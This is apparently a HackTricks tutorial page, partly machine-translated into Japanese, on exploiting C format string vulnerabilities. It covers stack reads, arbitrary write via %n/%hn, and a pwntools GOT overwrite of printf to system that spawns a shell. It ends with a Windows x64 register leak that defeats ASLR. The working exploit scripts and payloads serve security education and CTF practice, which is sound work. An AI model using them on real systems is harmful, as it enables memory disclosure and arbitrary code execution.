Format Strings

Reading time: 16 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

In C printf は文字列を出力するための関数です。 この関数が期待する最初のパラメータフォーマッタを含む生のテキストです。続くパラメータは、生のテキスト中のフォーマッタを置き換えるための値になります。

他の脆弱な関数には sprintf()fprintf() があります。

この脆弱性は、攻撃者のテキストがこの関数の最初の引数として使われると発生します。攻撃者はprintfのフォーマット機能を悪用した特殊な入力を作成することで、任意のアドレスからデータを読み取り/任意のアドレスに書き込む(読み書き可能)ことができ、これにより任意のコードを実行することが可能になります。

フォーマッタ:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱な例:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 引数が不足している場合:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf が脆弱な場合:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

ポインタへのアクセス

書式 %<n>$xn は数値)は printf に stack 上の n 番目の引数を選択させることを可能にします。したがって、printf を使って stack の 4 番目の引数を読みたい場合は次のようにできます:

c
printf("%x %x %x %x")

そして最初のパラメータから4番目のパラメータまで読み取ります。

または、次のようにできます:

c
printf("%4$x")

そして直接4番目を読む。

Notice that the attacker controls the printf パラメータ(要するに) his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

caution

この入力を制御できる攻撃者は、スタックに任意のアドレスを追加し、printfにそれらへアクセスさせることが可能になります。次のセクションでこの振る舞いの利用方法が説明されます。

Arbitrary Read

フォーマッタ %n$s を使うと、printf にスタックの n番目にあるアドレス を取得させ、そのアドレスが指す場所を 文字列として出力(0x00 が見つかるまで出力)させることができます。例えば、バイナリのベースアドレスが 0x8048000 で、ユーザ入力がスタックの4番目から始まることが分かっていれば、バイナリの先頭を次のように出力できます:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

入力の先頭にアドレス 0x8048000 を置くことはできません。なぜなら、そのアドレスの末尾に 0x00 があり、文字列がそこで終端されてしまうからです。

オフセットを見つける

オフセットを見つけるには、入力に4バイトまたは8バイト(0x41414141)を送り、その後に %1$x を付け、A's が返ってくるまでその値を増やします

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

有用性

Arbitrary reads は以下の目的に有用です:

  • Dump the binary をメモリから取得する
  • Access specific parts of memory where sensitive info が保存されている場所にアクセスする(例: canaries、encryption keys、または custom passwords — 例: CTF challenge

Arbitrary Write

フォーマッタ %<num>$n は、スタック上の パラメータが指すアドレスに、これまでに出力されたバイト数を書き込みます。もし攻撃者が printf で任意の数の文字を書き込めるなら、%<num>$n により任意のアドレスに任意の数値を書き込むことが可能になります。

幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりにフォーマッタ %.<num-write>%<num>$n を使って、num の位置が指すアドレスに数値 <num-write> を書き込むことができます。

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

ただし、0x08049724 のようなアドレス(同時に書き込むには非常に大きな数)を書く場合、通常は $n の代わりに $hn が使われる点に注意してください。これにより 2 Bytes のみを書き込むことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。

したがって、この脆弱性は write anything in any address (arbitrary write) を可能にします。

この例では、目的は後で呼ばれる GOT テーブル内のある functionaddressoverwrite することです。もちろん、これは他の arbitrary write to exec 技術を悪用することもできます:

Write What Where 2 Exec

ユーザから引数を受け取り、その後呼ばれる functionaddressoverwrite して、system function を指すようにします。前述の通り、アドレスを書くには通常2段階が必要です:まずアドレスの2Bytesを書き込み、その後もう2Bytesを書き込みます。そのために $hn を使います。

  • HOB はアドレスの上位2Bytesを指します
  • LOB はアドレスの下位2Bytesを指します

その後、format string の動作上、[HOB, LOB] のうち小さい方を先に書き込み、その後にもう一方を書き込む必要があります。

もし HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

もし HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools テンプレート

この種の脆弱性に対する exploit を準備するための テンプレート は次で見つかります:

Format Strings Template

または、here にある基本的な例:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

format string vulnerability の書き込み動作を悪用して、write in addresses of the stack を行い、buffer overflow 型の脆弱性を悪用することが可能です。

Windows x64: Format-string leak to bypass ASLR (no varargs)

Windows x64 では最初の4つの整数/ポインタ引数がレジスタ(RCX, RDX, R8, R9)で渡されます。多くのバグのある呼び出し箇所では、攻撃者制御の文字列が format argument として使われる一方で、variadic arguments が提供されないことがあります。例えば:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

varargsが渡されないため、"%p"、"%x"、"%s" のような変換はCRTに次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling conventionでは、"%p" に対する最初の読み取りはR9から行われます。呼び出し箇所のR9にある一時的な値がそのまま表示されます。実際には、これはモジュール内の安定したポインタをleaksすることが多く(例:周囲のコードによってR9に置かれたローカル/グローバルオブジェクトへのポインタやcallee-saved値)、モジュールベースを復元してASLRを無効化するのに利用できます。

Practical workflow:

  • 攻撃者が制御する文字列の先頭に"%p "のような無害なフォーマットを注入し、最初の変換がフィルタリングの前に実行されるようにします。
  • leaked pointerを取得し、そのオブジェクトのモジュール内部での静的オフセットを特定する(symbolsやローカルコピーを使って一度リバースする)ことで、イメージベースを leak - known_offset として復元します。
  • そのベースを再利用して、リモートでROP gadgetsやIATエントリの絶対アドレスを計算します。

Example (abbreviated python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notes:

  • 正確なオフセットはローカルでリバースした際に一度だけ見つけ、その後は(同じバイナリ/バージョンで)再利用する。
  • 最初の試行で "%p" が有効なポインタを出力しない場合は、他の指定子 ("%llx", "%s") や複数の変換 ("%p %p %p") を試して、他の引数レジスタ/スタックをサンプリングする。
  • このパターンは Windows x64 calling convention と、format string が要求したときに存在しない varargs をレジスタから取得する printf-family の実装に特有である。

このテクニックは、ASLR が有効で明らかな memory disclosure primitives がないような Windows サービスで ROP をブートストラップするのに非常に有用である。

Other Examples & References

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする